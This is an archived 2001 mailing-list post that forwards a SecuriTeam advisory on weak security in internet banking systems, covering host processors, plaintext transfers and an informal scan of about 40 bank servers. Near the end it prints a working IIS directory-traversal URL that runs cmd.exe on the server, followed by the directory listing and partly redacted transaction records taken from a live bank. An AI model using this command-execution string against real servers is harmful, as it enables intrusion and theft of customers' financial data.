[iwar] FW: [NEWS] Banking - Does It Belong Online?

From: Robert W. Miller (snooker3@mindspring.com)
Date: 2001-06-24 12:48:57
Next message: JunkMail Rosenberger: "RE: [iwar] Me spreading hysteria about cyberwar"
Previous message: Ravi V Prasad: "[iwar] Me spreading hysteria about cyberwar"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: "COCCCC" <COCCCC@egroups.com>, "Htcc" <htcc@yahoogroups.com>, "CICACTF@egroups. com" <CICACTF@egroups.com>, <iwar@yahoogroups.com>
Message-ID: <MABBIJMGDBFOJAPPFCAEAEOGDLAA.snooker3@mindspring.com>
Importance: Normal
From: "Robert W. Miller" <snooker3@mindspring.com>
Mailing-List: list iwar@yahoogroups.com; contact iwar-owner@yahoogroups.com
Precedence: bulk
Date: Sun, 24 Jun 2001 13:48:57 -0600
Reply-To: iwar@yahoogroups.com
Subject: [iwar] FW: [NEWS] Banking - Does It Belong Online? 
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

The following security advisory is sent to the securiteam mailing list, and
can be found at the SecuriTeam web site: http://www.securiteam.com


Banking - Does It Belong Online?
--------------------------------

SUMMARY

Are your banking records important to you?
Did you know that hackers access banking data daily?
Does it bother you that these banks do not even know they have been broken
into?

An individual's financial information is probably one of the most private
possessions one could have. This data contains so much confidential
information that if it were delivered into the wrong hands it could spell
disaster. Weekly, banks around the world are notifying their customers
with the news that their account information may have been illegally
accessed. Their account numbers, PIN's, balances, email addresses, social
security numbers, birth date, maiden name, address, phone numbers and
more.

DETAILS

Background:
Banks primarily rely on a system or a group of systems known as 'host
processors'. These host processors are responsible for the storage of all
financial information. In simple, they are a server that is accessed by
all applications associated with a particular bank. The focus of this
article is Internet Banking, so we will continue in that light. It might
be a good time to mention that when these host processors were originally
developed, Internet Banking was not an issue. In short, Internet Banking
is a solution that has no formal history. It is a combination of tape and
wires that hold the product together. The Internet Banking application can
do one or a combination of the two following examples for retrieving data
from the host processor.

1) The Internet Banking application requests data sometimes referred to as
extract data from the host processor. The application stores this
requested data in several different methods, sometimes on the Internet
Banking application server itself, sometimes on a separate server and
sometimes in memory. The extract data contains the account information of
every customer of that particular financial institution. This mode is
called Batch transferring.

Note: There are some configurations where the extract data only contains
active Internet Banking users.

2) The Internet Banking application requests data in real-time. This
configuration is a relatively slower process but completely more accurate.
The application must have a direct link to the host processor in order for
this method to be functional. This mode is called Real-time transferring.

Note: Extract data is transmitted in plain/text for Batch mode, and mostly
binary for Real-time transferring.

So at this point, we understand how an Internet Banking application
receives all of the account information. Now the application has a very
simple job, it takes this extract data, hashes it around a bit until it is
in a format that it can understand then simply displays it on a web-page.
Does this sound too simple? It really is that easy. The trick is obviously
building an application that can communicate with the 1000's of available
host processors running in financial institutions today.

Here we will make it a little less confusing:

A) The Internet Banking application receives extract data from the host
processor.
B) The Internet Banking application hashes the data around until it
conforms to its particular file structure. E.g. Database / flat files /
binary format.
C) The Internet Banking application displays the data to it's customers
via a web interface.

Note: The modified extract data is placed back on the host processor with
one of the same methods above. The application simply posts the
transactions/modifications back to the host processor. We will not go into
detail here, as this is not directly related to this article.

At this point there is an obvious problem with the above scenario. If the
server is either receiving data real-time or in batch mode, how is it
doing this securely?
That has been a problem for some time and unfortunately, only one or two
secure solutions exist, and even they are currently being questioned. The
host processors are communicating via either TCP/IP or a proprietary
protocol with the Internet Banking application servers. However, they must
be connected logically to the in order to transmit data. Earlier it was
mentioned that host processors were not developed for this task, this
leads us to encryption. Ninety nine percent of these systems are not
configured to use any type of real encryption during transmission of the
data between the host processor and the application server. Data is
usually transmitted via FTP or HTTPS to make transmission simple. Data in
most scenarios is stored in flat text files because the use of databases
for storing this data was not an important feature when the applications
were in development. Internet Banking developed quite quickly as we all
know, it was not around for many years before financial institutions began
implementing it to reach the far corners of our digital planet. Rushing to
provide technology to their customers, they overlooked security. The
market is growing faster than the applications can mature, while this
brings functionality and technology to our fingertips, with it brings
bruises and scars,

One scary factor is that these application servers even if deployed into a
DMZ environment are still placing sensitive financial data at serious
risk. The issue with standard web servers allowing an attacker to gain
access to the servers is only one issue. Once the attacker has access to
the application server the games is over. It is not going to take an
average hacker but just a few minutes to realize that he has hit a data
jackpot. Besides collecting all data on the application server the
attacker has quite a bit more to look at. The application server must have
a connection to the host processor and because the host processor is
connected to the financial institutions LAN, the attacker can now move
about the internal network. Installing sniffers to gather packets and
passwords is going to very easy at this point. Especially if application
server is downloading (via FTP) data to and from the host processor.
Because FTP passes, its credentials in plain / text the attacker would now
have a login to the most sensitive object in the bank next to the vault.
Call it the digital vault.

Firewalls can be configured to prevent some of these vulnerabilities.
However, in fact it just is not being done.

These are obvious risks, especially when a financial institution relies on
outsourcing their host processor at one remote location and hosting their
application server at another remote location. Some systems may be
configured to compress the extract data, PGP-encrypt the data, and then
transmit the final package to the application server. Some systems are in
fact storing flat text files full of financial information on public
web-hosting servers. Others use Microsoft Access databases to store the
data,
Financial Institutions are just not equipped with the personnel or the
technology to securely handle an Internet Banking Application. This field
has a very different IT staff, usually working with issues not related to
email servers and contact management applications, but rather ATM machine
networks, teller applications linked to the host processor and other more
specific issues. With the entire above, network security and operating
system, vulnerabilities are not at the top of their task list.

There is currently about 4,100+ individual financial institutions around
the world utilizing some type of Internet Banking application. Now what
are the odds that one of the following actions is happening at any given
time:

* New vulnerability for a particular operating system in which the patches
are not loaded quickly / never loaded.
* New vulnerability for a particular application in which the patches are
not loaded quickly / never loaded.
* New applications loaded which introduces vulnerabilities.
* New router, firewall - border devices that are incorrectly configured.
* Disgruntled financial institution employee who has access to system.

How can we protect our online financial records and medical records? Can
we?

Sure, security is not a product that can be purchased but rather a
combination of policies, procedures, and processes that must continually
evolve as technology advances. Regulatory agencies must have the technical
and legal ability to stop applications with such high consumer security
risks from making it to production. Solutions must be audited and assessed
on regular intervals. Solutions should be developed by qualified engineers
and tested by uninterested third parties. Systems must be monitored 24/7
to prevent unauthorized access. The list goes on, but never the less it
shows that improvements can be made. Always.

To demonstrate the nature of Internet Banking a small scan was performed
by the author on various Internet Banks. From Community Banks to much
larger banks the scan was performed on roughly 40. The results were as
follows:

Of the 40 banks, 28 of them utilized IIS

Of the 28 IIS installations 9 of them were found to be vulnerable to 1 or
more IIS weaknesses.


In conclusion, this is an example of an Internet Banking server that is
currently a live functioning system serving banking users. Unknowingly all
of their information is at a serious risk. The administrators of this
location were notified immediately.

Note: This sample was taken June 2001

The common IIS vulnerability used:
"http://127.0.0.1/msadc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/
c+dir+c:\"

The output:

 Directory of {x}:\{xxxxxxxx}

01/25/00  04:27p        DIR          .
01/25/00  04:27p        DIR          ..
06/23/01  03:09a        DIR          BANKDATA
09/14/99  08:38a        DIR          Copy of Voices
06/22/01  05:19p        DIR          CUSTDATA
03/20/98  03:24p                10,429 DeIsL1.isu
03/24/99  09:05p                67,381 Hbsend.txt
09/14/99  08:40a        DIR          OldVoice
06/08/01  11:02a        DIR          PROGRAMS
06/22/01  03:28p        DIR          REPORTS
09/14/99  08:41a        DIR          SOURCE
09/14/99  08:41a        DIR          tempbankdata
01/25/00  04:27p                   940 TOFED.TXT
05/03/01  11:16a        DIR          VOICES
06/23/01  03:07p        DIR          Webdata
09/14/99  08:44a        DIR          WebTest
03/20/98  03:24p                   274 _DEISREG.ISR
03/07/97  07:00p                36,352 _ISREG32.DLL
              18 File(s)        115,376 bytes 16,552,448 bytes free

{xxx}035720,0{x}00,2,,,052301,500.05,,62,,,200053011,
{xxx}000298,0{x}00,1,,33703, 052301, 1419.75,,60,,,200053012,
{xxx}000298,0{x}00,1,,33697, 052301, 204.95,,62,,,200053013,
{xxx}000298,0{x}00,1,,33701, 052301, 688.15,,62,,,200053014,
{xxx}000298,0{x}00,1,,33700, 052301, 1601.65,,62,,,200053015,
{xxx}000660,0{x}00,1,,,052301, 21223.45,,12,,,200053016,
{xxx}000660,0{x}00,1,,,052301, 64.15,,16,MERCHANT {xxxxx}CD,,200053017,
{xxx}000660,0{x}00,1,,,052301, 1266.35,,16,CHEVRON {xxxxx}. CO,,200053018,
{xxx}000660,0{x}00,1,,,052301, 30.65,78,,CHEVRON {xxxxx}. CO,,200053019,
{xxx}000660,0{x}00,1,,,052301, 45.05,78,CITY OF
{xxxxxxxxxxxx},,2000530110,
{xxx}000660,0{x}00,1,,,052301, 3381.05,,,78,IRS,,2000530111,
{xxx}000660,0{x}00,1,,8555,052301, 18.25,,62,,,2000530112,
{xxx}000660,0{x}00,1,,8558,052301, 80.15,,62,,,2000530113,
{xxx}000660,0{x}00,1,,8570,052301, 671.05,62,,,2000530114,

Account balances are in bold

The above information was modified to protect the innocent but it is
mostly valid (though might be out of date).


ADDITIONAL INFORMATION

The information has been provided by  <mailto:kelvin@sec33.com> Kelvin.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body
to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.


Det. Robert W. Miller
Colorado Internet Crimes Against
Children Task Force
Pueblo High Tech. Crime Unit
Pueblo County Sheriff's Office
320 S. Joe Martinez Blvd.
Pueblo West, CO. 81007
Tel (719)583-4736
FAX (719)583-4732
mailto:snooker3@mindspring.com
mailto:cicactf@iex.net
http://www2.co.pueblo.co.us/sheriff/
PGP key available at: http://pgpkeys.mit.edu:11371/
search on snooker@iex.net





------------------
http://all.net/ 

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
Next message: JunkMail Rosenberger: "RE: [iwar] Me spreading hysteria about cyberwar"
Previous message: Ravi V Prasad: "[iwar] Me spreading hysteria about cyberwar"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
This archive was generated by hypermail 2.1.2 : 2001-06-30 21:44:18 PDT